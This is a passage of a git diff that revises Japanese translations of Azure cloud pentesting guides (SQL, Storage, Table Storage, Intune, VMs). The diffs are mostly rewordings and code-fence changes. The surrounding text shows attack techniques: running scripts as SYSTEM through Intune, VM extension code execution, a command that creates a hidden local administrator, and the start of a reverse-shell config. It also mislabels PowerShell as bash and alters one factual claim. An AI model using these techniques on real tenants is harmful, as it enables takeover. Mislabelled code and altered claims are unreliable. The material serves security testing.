diff --git a/src/pentesting-cloud/azure-security/az-services/az-sql.md b/src/pentesting-cloud/azure-security/az-services/az-sql.md index e70179eda..abd743f4a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-sql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-sql.md @@ -10,7 +10,7 @@ Azure SQLは、主に3つの提供形態から成り立っています: 1. **Azure SQL Database**: これは**完全管理型データベースサービス**で、Azureクラウド内に個別のデータベースをホストできます。独自のデータベースパターンを学習し、カスタマイズされた推奨事項と自動調整を提供する組み込みのインテリジェンスを備えています。 2. **Azure SQL Managed Instance**: これは、より大規模なSQL Serverインスタンススコープの展開向けです。最新のSQL Serverオンプレミス(Enterprise Edition)データベースエンジンとのほぼ100%の互換性を提供し、一般的なセキュリティの懸念に対処するネイティブの仮想ネットワーク(VNet)実装と、オンプレミスSQL Server顧客に有利なビジネスモデルを提供します。 -3. **Azure SQL Server on Azure VMs**: これはInfrastructure as a Service (IaaS)で、オンプレミスで実行されているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。 +3. **Azure SQL Server on Azure VMs**: これはInfrastructure as a Service(IaaS)で、オンプレミスで動作しているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。 ### Azure SQL Database @@ -22,11 +22,11 @@ Azure SQLは、主に3つの提供形態から成り立っています: - **PaaS機能**: 組み込みの高可用性、バックアップ、更新。 - **データの柔軟性**: リレーショナルデータと非リレーショナルデータ(例:グラフ、JSON、空間、XML)をサポート。 -#### 購入モデル / サービスタイア +#### 購入モデル / サービスタイプ -- **vCoreベース**: コンピュート、メモリ、ストレージを独立して選択。一般的な用途、ビジネスクリティカル(OLTPアプリ向けの高い耐障害性とパフォーマンス)で、最大128TBのストレージにスケールアップ。 -- **DTUベース**: コンピュート、メモリ、I/Oを固定のティアにバンドル。一般的なタスクに対するバランスの取れたリソース。 -- スタンダード: 一般的なタスクに対するバランスの取れたリソース。 +- **vCoreベース**: コンピュート、メモリ、ストレージを独立して選択します。一般的な用途、ビジネスクリティカル(OLTPアプリ向けの高い耐障害性とパフォーマンス)で、最大128TBのストレージにスケールアップします。 +- **DTUベース**: コンピュート、メモリ、I/Oを固定のティアにバンドルします。一般的なタスクに対してバランスの取れたリソース。 +- スタンダード: 一般的なタスクに対してバランスの取れたリソース。 - プレミアム: 要求の厳しいワークロード向けの高パフォーマンス。 #### デプロイメントモデル @@ -37,19 +37,19 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ - 専用リソースを持つ完全に孤立したデータベース。 - マイクロサービスや単一のデータソースを必要とするアプリケーションに最適。 - **エラスティックプール**: -- 複数のデータベースがプール内でリソースを共有できる。 +- 複数のデータベースがプール内でリソースを共有できます。 - 複数のデータベースにわたる使用パターンが変動するアプリケーションにコスト効率が良い。 #### スケーラブルなパフォーマンスとプール -- **シングルデータベース**: 各データベースは孤立しており、専用のコンピュート、メモリ、ストレージリソースを持っています。リソースはダウンタイムなしで動的にスケールアップまたはスケールダウンできます(1〜128 vCores、32 GB〜4 TBストレージ、最大128 TB)。 -- **エラスティックプール**: 複数のデータベース間でリソースを共有し、効率を最大化し、コストを節約します。プール全体のリソースも動的にスケールできます。 +- **シングルデータベース**: 各データベースは孤立しており、専用のコンピュート、メモリ、ストレージリソースを持っています。リソースはダウンタイムなしで動的にスケールできます(1〜128 vCores、32 GB〜4 TBストレージ、最大128 TB)。 +- **エラスティックプール**: 複数のデータベース間でリソースを共有し、効率を最大化し、コストを削減します。プール全体のリソースも動的にスケールできます。 - **サービスティアの柔軟性**: 一般的な用途のティアでシングルデータベースから小さく始めます。ニーズが増えるにつれてビジネスクリティカルまたはハイパースケールティアにアップグレードします。 - **スケーリングオプション**: 動的スケーリングまたはオートスケーリングの代替。 #### 組み込みの監視と最適化 -- **クエリストア**: パフォーマンスの問題を追跡し、リソース消費の多いものを特定し、実行可能な推奨事項を提供します。 +- **クエリストア**: パフォーマンスの問題を追跡し、リソースの消費者を特定し、実行可能な推奨事項を提供します。 - **自動調整**: 自動インデックス作成やクエリプランの修正などの機能でパフォーマンスを積極的に最適化します。 - **テレメトリー統合**: Azure Monitor、Event Hubs、またはAzure Storageを通じて監視をサポートし、カスタマイズされたインサイトを提供します。 @@ -58,13 +58,13 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ - **自動バックアップ**: SQL Databaseは、データベースのフル、差分、およびトランザクションログバックアップを自動的に実行します。 - **ポイントインタイムリストア**: バックアップ保持期間内の任意の過去の状態にデータベースを復元します。 - **地理的冗長性** -- **フェイルオーバーグループ**: データベースをグループ化して自動フェイルオーバーを行うことで、災害復旧を簡素化します。 +- **フェイルオーバーグループ**: データベースをグループ化して自動フェイルオーバーを簡素化し、地域間での災害復旧を実現します。 ### Azure SQL Managed Instance **Azure SQL Managed Instance**は、SQL Serverとのほぼ100%の互換性を提供し、ほとんどの管理タスク(例:アップグレード、パッチ適用、バックアップ、監視)を自動的に処理するプラットフォームとしてのサービス(PaaS)データベースエンジンです。最小限の変更でオンプレミスのSQL Serverデータベースを移行するためのクラウドソリューションを提供します。 -#### サービスタイア +#### サービスタイプ - **一般的な用途**: 標準的なI/Oおよびレイテンシ要件を持つアプリケーション向けのコスト効率の良いオプション。 - **ビジネスクリティカル**: 重要なワークロード向けの低I/Oレイテンシを持つ高パフォーマンスオプション。 @@ -72,19 +72,19 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ #### 高度なセキュリティ機能 * **脅威保護**: 疑わしい活動やSQLインジェクション攻撃に対する高度な脅威保護アラート。コンプライアンスのためのデータベースイベントを追跡およびログする監査。 -* **アクセス制御**: 中央集権的なアイデンティティ管理のためのMicrosoft Entra認証。細かいアクセス制御のための行レベルセキュリティと動的データマスキング。 +* **アクセス制御**: 中央集権的なアイデンティティ管理のためのMicrosoft Entra認証。細かなアクセス制御のための行レベルセキュリティと動的データマスキング。 * **バックアップ**: ポイントインタイムリストア機能を持つ自動および手動のバックアップ。 ### Azure SQL Virtual Machines -**Azure SQL Virtual Machines**は、オンプレミスで実行されているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。異なるマシンサイズや幅広いSQL Serverバージョンとエディションを持つことができます。 +**Azure SQL Virtual Machines**は、オンプレミスで動作しているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。異なるマシンサイズや、さまざまなSQL Serverのバージョンとエディションを選択できます。 #### 主な機能 **自動バックアップ**: SQLデータベースのバックアップをスケジュールします。 **自動パッチ適用**: メンテナンスウィンドウ中にWindowsおよびSQL Serverの更新を自動的にインストールします。 **Azure Key Vault統合**: SQL Server VMのためにKey Vaultを自動的に構成します。 -**Defender for Cloud統合**: ポータルでDefender for SQLの推奨事項を表示します。 +**Defender for Cloud統合**: ポータルでSQLの推奨事項を表示します。 **バージョン/エディションの柔軟性**: VMを再デプロイすることなくSQL Serverのバージョンまたはエディションのメタデータを変更します。 #### セキュリティ機能 @@ -166,7 +166,7 @@ az sql vm show --resource-group --name {{#endtab}} {{#tab name="Az PowerShell"}} -```powershell +```bash # List Servers Get-AzSqlServer -ResourceGroupName "" @@ -208,8 +208,8 @@ Get-AzSqlVM ### 接続してSQLクエリを実行する -例として[Az WebAppの列挙](az-app-services.md)から接続文字列(資格情報を含む)を見つけることができます: -```powershell +例として[Az WebAppの列挙](az-app-services.md)から接続文字列(資格情報を含む)を見つけることができます: +```bash function invoke-sql{ param($query) $Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;" @@ -228,7 +228,7 @@ $Connection.Close() invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;' ``` データベースにアクセスするためにsqlcmdを使用することもできます。サーバーがパブリック接続を許可しているかどうかを確認することが重要です `az sql server show --name --resource-group `、また、ファイアウォールルールが私たちのIPのアクセスを許可しているかどうかも確認する必要があります。 -```powershell +```bash sqlcmd -S .database.windows.net -U -P -d ``` ## 参考文献 diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index 3b19c2097..ecb458aec 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -16,10 +16,10 @@ Azure Storage Accountsは、Microsoft Azureの基本的なサービスで、ス **セキュリティ構成オプション**: - **REST API操作のために安全な転送を要求**: ストレージとの通信にTLSを要求します。 -- **個別のコンテナでの匿名アクセスを有効にすることを許可**: そうでない場合、将来的に匿名アクセスを有効にすることはできません。 +- **個々のコンテナでの匿名アクセスを有効にすることを許可**: そうでない場合、将来的に匿名アクセスを有効にすることはできません。 - **ストレージアカウントキーアクセスを有効にする**: そうでない場合、共有キーによるアクセスは禁じられます。 - **最小TLSバージョン** -- **コピー操作の許可されたスコープ**: すべてのストレージアカウントから、同じEntraテナントのすべてのストレージアカウントから、または同じ仮想ネットワーク内のプライベートエンドポイントを持つストレージアカウントから許可します。 +- **コピー操作の許可されたスコープ**: すべてのストレージアカウントから、同じEntraテナントのすべてのストレージアカウントから、または同じ仮想ネットワーク内のプライベートエンドポイントを持つストレージアカウントからのアクセスを許可します。 **Blobストレージオプション**: @@ -53,15 +53,15 @@ Azure Storage Accountsは、Microsoft Azureの基本的なサービスで、ス ### ストレージエンドポイント -
ストレージサービスエンドポイント
Blobストレージhttps://<storage-account>.blob.core.windows.net

https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list
データレイクストレージhttps://<storage-account>.dfs.core.windows.net
Azure Fileshttps://<storage-account>.file.core.windows.net
キューストレージhttps://<storage-account>.queue.core.windows.net
テーブルストレージhttps://<storage-account>.table.core.windows.net
+
ストレージサービスエンドポイント
Blobストレージhttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
データレイクストレージhttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
キューストレージhttps://.queue.core.windows.net
テーブルストレージhttps://.table.core.windows.net
### 公開露出 「Blobの公開アクセスを許可」が**有効**(デフォルトでは無効)になっている場合、コンテナを作成する際に次のことが可能です: - **Blobを読むための公開アクセスを提供**(名前を知っている必要があります)。 -- **コンテナのBlobをリスト**し、**それらを読む**。 -- 完全に**プライベート**にする。 +- **コンテナのBlobをリスト**し、**読む**ことができます。 +- 完全に**プライベート**にすることができます。
@@ -77,7 +77,7 @@ Azure Storage Accountsは、Microsoft Azureの基本的なサービスで、ス ### アクセスキー -ストレージアカウントにはアクセスキーがあり、これを使用してアクセスできます。これにより、ストレージアカウントへの**完全なアクセス**が提供されます。 +ストレージアカウントには、アクセスするために使用できるアクセスキーがあります。これにより、ストレージアカウントへの**完全なアクセス**が提供されます。
@@ -89,9 +89,9 @@ Azure Storage Accountsは、Microsoft Azureの基本的なサービスで、ス > `CanonicalizedResource`部分は、ストレージサービスリソース(URI)を表します。URLの任意の部分がエンコードされている場合、`CanonicalizedResource`内でもエンコードする必要があります。 > [!NOTE] -> これは**デフォルトで`az` cliによって使用され**、リクエストを認証します。Entra IDプリンシパルの資格情報を使用するには、パラメータ`--auth-mode login`を指定します。 +> これは**デフォルトで`az` cliによって使用されます**。Entra IDプリンシパルの資格情報を使用するには、パラメータ`--auth-mode login`を指定します。 -- Blob、キュー、ファイルサービスの**共有キーを生成する**ことが可能で、次の情報に署名します: +- **Blob、キュー、ファイルサービスのための共有キーを生成**することが可能で、次の情報に署名します: ```bash StringToSign = VERB + "\n" + Content-Encoding + "\n" + @@ -108,7 +108,7 @@ Range + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- **テーブルサービス**のための共有キーを生成することは、以下の情報に署名することで可能です: +- **テーブルサービス**のための共有キーを生成することは、以下の情報に署名することで可能です: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -116,7 +116,7 @@ Content-Type + "\n" + Date + "\n" + CanonicalizedResource; ``` -- **Blob、キュー、ファイルサービス**のための**ライト共有キー**を生成することが可能であり、以下の情報に署名します: +- **Blob、キュー、ファイルサービス**のための**ライト共有キー**を生成することが可能で、以下の情報に署名します: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -125,12 +125,12 @@ Date + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- **テーブルサービス**のための**ライト共有キー**を生成することは、以下の情報に署名することで可能です: +- テーブルサービスのための**ライト共有キー**を生成することが可能です。次の情報に署名します: ```bash StringToSign = Date + "\n" CanonicalizedResource ``` -次に、キーを使用するには、次の構文に従ってAuthorizationヘッダーで行うことができます: +その後、キーを使用するには、次の構文に従ってAuthorizationヘッダーに記述できます: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -142,16 +142,16 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08= Content-Length: 0 ``` -### **共有アクセス署名** (SAS) +### **Shared Access Signature** (SAS) -共有アクセス署名 (SAS) は、Azure Storage アカウント内のリソースにアクセスするための特定の権限を付与する**安全で時間制限のある URL** であり、アカウントのアクセスキーを公開することなく使用できます。アクセスキーはすべてのリソースに対する完全な管理アクセスを提供しますが、SAS は権限(読み取りや書き込みなど)を指定し、期限を定義することで細かい制御を可能にします。 +Shared Access Signatures (SAS) は、アカウントのアクセスキーを公開することなく、Azure Storage アカウント内のリソースにアクセスするための特定の権限を**付与する**安全で時間制限のある URL です。アクセスキーはすべてのリソースに対する完全な管理アクセスを提供しますが、SAS は権限(読み取りや書き込みなど)を指定し、期限を定義することで、より細かい制御を可能にします。 -#### SAS の種類 +#### SAS タイプ -- **ユーザー委任 SAS**: これは **Entra ID プリンシパル** から作成され、SAS に署名し、ユーザーから SAS への権限を委任します。**Blob およびデータレイクストレージ** でのみ使用できます ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。生成されたすべてのユーザー委任 SAS を **取り消す** ことが可能です。 +- **ユーザー委任 SAS**: これは **Entra ID プリンシパル** から作成され、SAS に署名し、ユーザーから SAS への権限を委任します。これは **blob およびデータレイクストレージ** でのみ使用できます ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。生成されたすべてのユーザー委任 SAS を **取り消す** ことが可能です。 - ユーザーが持っている権限よりも「多くの」権限を持つ委任 SAS を生成することは可能ですが、プリンシパルがそれらの権限を持っていない場合は機能しません(権限昇格はありません)。 -- **サービス SAS**: これはストレージアカウントの **アクセスキー** のいずれかを使用して署名されます。特定のリソースへのアクセスを単一のストレージサービスに付与するために使用できます。キーが更新されると、SAS は機能しなくなります。 -- **アカウント SAS**: これもストレージアカウントの **アクセスキー** のいずれかで署名されます。ストレージアカウントサービス(Blob、Queue、Table、File)全体のリソースへのアクセスを付与し、サービスレベルの操作を含むことができます。 +- **サービス SAS**: これはストレージアカウントの **アクセスキー** のいずれかを使用して署名されます。これは、単一のストレージサービス内の特定のリソースへのアクセスを付与するために使用できます。キーが更新されると、SAS は機能しなくなります。 +- **アカウント SAS**: これもストレージアカウントの **アクセスキー** のいずれかで署名されます。これは、ストレージアカウントサービス(Blob、Queue、Table、File)全体のリソースへのアクセスを付与し、サービスレベルの操作を含むことができます。 **アクセスキー** で署名された SAS URL は次のようになります: @@ -173,14 +173,14 @@ SAS を生成する際には、付与すべき権限を示す必要がありま - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete -## Azure Blob Storage の SFTP サポート +## SFTP サポート for Azure Blob Storage Azure Blob Storage は現在、SSH ファイル転送プロトコル (SFTP) をサポートしており、カスタムソリューションやサードパーティ製品を必要とせずに、Blob Storage への安全なファイル転送と管理を可能にします。 ### 主な機能 -- プロトコルサポート: SFTP は階層名前空間 (HNS) で構成された Blob Storage アカウントで機能します。これにより、Blob をディレクトリおよびサブディレクトリに整理し、ナビゲーションを容易にします。 -- セキュリティ: SFTP は認証のためにローカルユーザーのアイデンティティを使用し、RBAC や ABAC とは統合されません。各ローカルユーザーは次の方法で認証できます: +- プロトコルサポート: SFTP は階層名前空間 (HNS) で構成された Blob Storage アカウントで動作します。これにより、Blob をディレクトリおよびサブディレクトリに整理し、ナビゲーションを容易にします。 +- セキュリティ: SFTP は認証のためにローカルユーザーのアイデンティティを使用し、RBAC や ABAC とは統合されていません。各ローカルユーザーは次の方法で認証できます: - Azure 生成のパスワード - 公開鍵-秘密鍵の SSH キーペア - 細かい権限: 読み取り、書き込み、削除、リストなどの権限を最大 100 のコンテナに対してローカルユーザーに割り当てることができます。 @@ -193,7 +193,7 @@ Azure Blob Storage は現在、SSH ファイル転送プロトコル (SFTP) を - SFTP 設定: - ストレージアカウントで SFTP を有効にします。 - 適切な権限を持つローカルユーザーのアイデンティティを作成します。 -- ユーザーのホームディレクトリを設定して、コンテナ内の開始位置を定義します。 +- コンテナ内でのユーザーの開始位置を定義するために、ユーザーのホームディレクトリを構成します。 ### 権限 @@ -330,7 +330,7 @@ az storage account local-user list \ {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get storage accounts Get-AzStorageAccount | fl # Get rules to access the storage account diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md index 65857dc11..97ef12c3a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md @@ -4,7 +4,7 @@ ## 基本情報 -**Azure Table Storage** は、大量の構造化された非リレーショナルデータを保存するために設計された NoSQL キー-バリューストアです。高い可用性、低遅延、およびスケーラビリティを提供し、大規模なデータセットを効率的に処理します。データはテーブルに整理され、各エンティティはパーティションキーと行キーによって識別され、迅速な検索を可能にします。データは静止時の暗号化、ロールベースのアクセス制御、および安全で管理されたストレージのための共有アクセス署名などの機能をサポートしており、幅広いアプリケーションに適しています。 +**Azure Table Storage** は、大量の構造化された非リレーショナルデータを保存するために設計された NoSQL キー-バリューストアです。高い可用性、低遅延、および大規模データセットを効率的に処理するためのスケーラビリティを提供します。データはテーブルに整理され、各エンティティはパーティションキーと行キーによって識別され、迅速な検索を可能にします。データは静止時の暗号化、ロールベースのアクセス制御、および安全で管理されたストレージのための共有アクセス署名などの機能をサポートしており、幅広いアプリケーションに適しています。 テーブルストレージには**組み込みのバックアップメカニズムはありません**。 @@ -63,7 +63,7 @@ az storage entity merge \ ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # Get storage accounts Get-AzStorageAccount @@ -78,7 +78,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name -Reso > [!TIP] > 使用するアカウントキーを示すには、パラメータ `--account-key` を使用します\ -> SAS トークンを使用してアクセスするには、SAS トークンと共にパラメータ `--sas-token` を使用します +> SAS トークンを使用してアクセスするには、SAS トークンと共にパラメータ `--sas-token` を使用します。 ## Privilege Escalation diff --git a/src/pentesting-cloud/azure-security/az-services/intune.md b/src/pentesting-cloud/azure-security/az-services/intune.md index 3adf2fdcf..3eeb9f26f 100644 --- a/src/pentesting-cloud/azure-security/az-services/intune.md +++ b/src/pentesting-cloud/azure-security/az-services/intune.md @@ -9,18 +9,18 @@ Microsoft Intuneは、**アプリとデバイス管理**のプロセスを効率 ## クラウド -> オンプレミス **グローバル管理者**または**Intune管理者**の役割を持つユーザーは、任意の**登録されたWindows**デバイスで**PowerShell**スクリプトを実行できます。\ -**スクリプト**は、変更がない場合にのみデバイス上で**SYSTEM**の**特権**で一度実行され、Intuneからは**スクリプトの出力を確認することはできません**。 -```powershell +**スクリプト**は、変更がない限りデバイス上で**SYSTEM**の**特権**で一度だけ実行され、Intuneからは**スクリプトの出力を確認することはできません**。 +```bash Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" ``` 1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) にログインするか、Pass-The-PRTを使用します。 -2. **デバイス** -> **すべてのデバイス**に移動して、Intuneに登録されているデバイスを確認します。 -3. **スクリプト**に移動し、Windows 10のために**追加**をクリックします。 -4. **Powershellスクリプト**を追加します。 +2. **デバイス** -> **すべてのデバイス** に移動して、Intuneに登録されているデバイスを確認します。 +3. **スクリプト** に移動し、Windows 10のために **追加** をクリックします。 +4. **Powershellスクリプト** を追加します。 - ![](<../../../images/image (264).png>) -5. **割り当て**ページで**すべてのユーザーを追加**および**すべてのデバイスを追加**を指定します。 +5. **割り当て** ページで **すべてのユーザーを追加** と **すべてのデバイスを追加** を指定します。 -スクリプトの実行には**最大1時間**かかる場合があります。 +スクリプトの実行には最大で **1時間** かかる場合があります。 ## 参考文献 diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 59d2c9e70..c419c31fd 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -20,16 +20,16 @@ Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウド - **セキュリティタイプ**: - **標準セキュリティ**: これは特別な構成を必要としないデフォルトのセキュリティタイプです。 - **信頼できる起動**: このセキュリティタイプは、Secure Boot と仮想トラステッドプラットフォームモジュール (vTPM) を使用して、ブートキットやカーネルレベルのマルウェアに対する保護を強化します。 -- **機密 VM**: 信頼できる起動に加えて、VM、ハイパーバイザー、およびホスト管理間のハードウェアベースの分離を提供し、ディスク暗号化を改善し、[**その他**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。** -- **認証**: デフォルトでは新しい **SSH キーが生成されます**が、公開鍵を使用したり、以前のキーとデフォルトのユーザー名 **azureuser** を使用することも可能です。また、**パスワード**を使用するように構成することもできます。 +- **機密 VM**: 信頼できる起動に加えて、VM、ハイパーバイザー、およびホスト管理間のハードウェアベースの分離を提供し、ディスク暗号化を改善し、[**詳細**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。** +- **認証**: デフォルトでは新しい **SSH キーが生成されます**が、公開鍵を使用したり、以前のキーとデフォルトのユーザー名 **azureuser** を使用することも可能です。**パスワード**を使用するように構成することもできます。 - **VM ディスク暗号化**: ディスクはデフォルトでプラットフォーム管理キーを使用して静止状態で暗号化されます。 -- **ホストでの暗号化**を有効にすることも可能で、データはストレージサービスに送信する前にホストで暗号化され、ホストとストレージサービス間のエンドツーエンドの暗号化が保証されます ([**ドキュメント**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。 +- **ホストでの暗号化**を有効にすることも可能で、データはストレージサービスに送信する前にホストで暗号化され、ホストとストレージサービス間のエンドツーエンドの暗号化が保証されます ([**ドキュメント**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). - **NIC ネットワークセキュリティグループ**: - **なし**: 基本的にすべてのポートを開放します - **基本**: HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389) の受信ポートを簡単に開放できます - **高度**: セキュリティグループを選択します - **バックアップ**: **標準**バックアップ (1 日に 1 回) と **強化** (1 日に複数回) を有効にすることができます -- **パッチオーケストレーションオプション**: これは、選択したポリシーに従って VM に自動的にパッチを適用することを可能にします ([**ドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching))。 +- **パッチオーケストレーションオプション**: これは、選択したポリシーに従って VM に自動的にパッチを適用することを可能にします ([**ドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching)). - **アラート**: VM で何かが発生したときに、メールやモバイルアプリで自動的にアラートを受け取ることができます。デフォルトのルール: - CPU 使用率が 80% を超える - 利用可能なメモリバイトが 1GB 未満 @@ -38,17 +38,17 @@ Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウド - ネットワーク合計が 500GB を超える - ネットワークアウト合計が 200GB を超える - VmAvailabilityMetric が 1 未満 -- **ヘルスモニター**: デフォルトではポート 80 の HTTP プロトコルをチェックします -- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) にすることができます。 +- **ヘルスモニター**: デフォルトではポート 80 で HTTP プロトコルをチェックします +- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) 状態にすることができます。 - ほとんどの VM 関連リソース **もロックをサポート**しています (ディスク、スナップショットなど)。 - ロックは **リソースグループおよびサブスクリプションレベル**でも適用できます。 ## ディスクとスナップショット - **2 つ以上の VM にディスクをアタッチすることを有効にする**ことができます -- デフォルトではすべてのディスクは **プラットフォームキーで暗号化**されています。 +- デフォルトでは、すべてのディスクは **プラットフォームキーで暗号化**されています。 - スナップショットでも同様です -- デフォルトでは **すべてのネットワークからディスクを共有**することが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、 **公開およびプライベートアクセスを完全に無効に**することもできます。 +- デフォルトでは、**すべてのネットワークからディスクを共有する**ことが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、**公開およびプライベートアクセスを完全に無効に**することもできます。 - スナップショットでも同様です - **ディスクをエクスポートするための SAS URI** (最大 60 日間) を **生成する**ことができ、認証を要求するように構成することも可能です - スナップショットでも同様です @@ -64,7 +64,7 @@ az disk show --name --resource-group ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # List all disks Get-AzDisk @@ -79,7 +79,7 @@ Get-AzDisk -Name -ResourceGroupName **VMイメージ**は、**新しい仮想マシン(VM)**を作成するために必要なオペレーティングシステム、アプリケーション設定、およびファイルシステムを含むテンプレートです。イメージとディスクスナップショットの違いは、ディスクスナップショットが単一の管理ディスクの読み取り専用の時点コピーであり、主にバックアップやトラブルシューティングに使用されるのに対し、イメージは**複数のディスクを含むことができ、新しいVMを作成するためのテンプレートとして機能するように設計されています**。\ イメージは、Azureの**イメージセクション**または**Azureコンピュートギャラリー**内で管理でき、これにより**バージョン**を生成したり、イメージをテナント間で**共有**したり、さらには公開することも可能です。 -**復元ポイント**は、VMの構成と**時点**でのアプリケーション整合性のある**すべての管理ディスクのスナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。 +**復元ポイント**は、VMの構成と、VMに接続されているすべての管理ディスクの**時点での**アプリケーション整合性のある**スナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。 {{#tabs}} {{#tab name="az cli"}} @@ -116,7 +116,7 @@ az restore-point collection show --collection-name --resource- ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash ## List all galleries and get info about one Get-AzGallery Get-AzGallery -Name -ResourceGroupName @@ -148,9 +148,9 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName ### VM 拡張機能 -Azure VM 拡張機能は、Azure 仮想マシン (VM) 上での **デプロイ後の構成** と自動化タスクを提供する小さなアプリケーションです。 +Azure VM 拡張機能は、Azure 仮想マシン (VM) 上で **デプロイ後の構成** と自動化タスクを提供する小さなアプリケーションです。 これにより、**VM 内で任意のコードを実行**することが可能になります。 @@ -450,14 +450,14 @@ az vm extension image list --publisher "Site24x7" --output table ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # It takes some mins to run Get-AzVMExtensionImage -Location -PublisherName -Type ``` {{#endtab }} {{#endtabs }} -カスタムコードを実行する**カスタム拡張機能を実行することが可能です**: +カスタムコードを実行する**カスタム拡張機能を実行することが可能です**: {{#tabs }} {{#tab name="Linux" }} @@ -523,7 +523,7 @@ az vm extension set \ 他のペイロードを実行することもできます: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - VMAccess拡張機能を使用してパスワードをリセットする -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -540,7 +540,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na VMAccess 拡張機能 この拡張機能は、Windows VM 内のユーザーのパスワードを変更する(または存在しない場合は作成する)ことを可能にします。 -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftの**VM拡張機能**です。したがって、この拡張機能を通じてWindows VMで**任意のコマンドを実行**するために使用できます: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -627,7 +627,7 @@ az sig gallery-application list --gallery-name --resource-group < > [!CAUTION] > **個々のアプリやギャラリーを他のサブスクリプションやテナントと共有することが可能です**。これは非常に興味深いことで、攻撃者がアプリケーションにバックドアを仕掛け、他のサブスクリプションやテナントにピボットすることを可能にするかもしれません。 -しかし、**vmアプリ用の「マーケットプレイス」は、拡張機能用のものとは異なり存在しません**。 +しかし、**vmアプリ用の「マーケットプレイス」は、拡張機能用のものとは異なります**。 必要な権限は次のとおりです: diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md 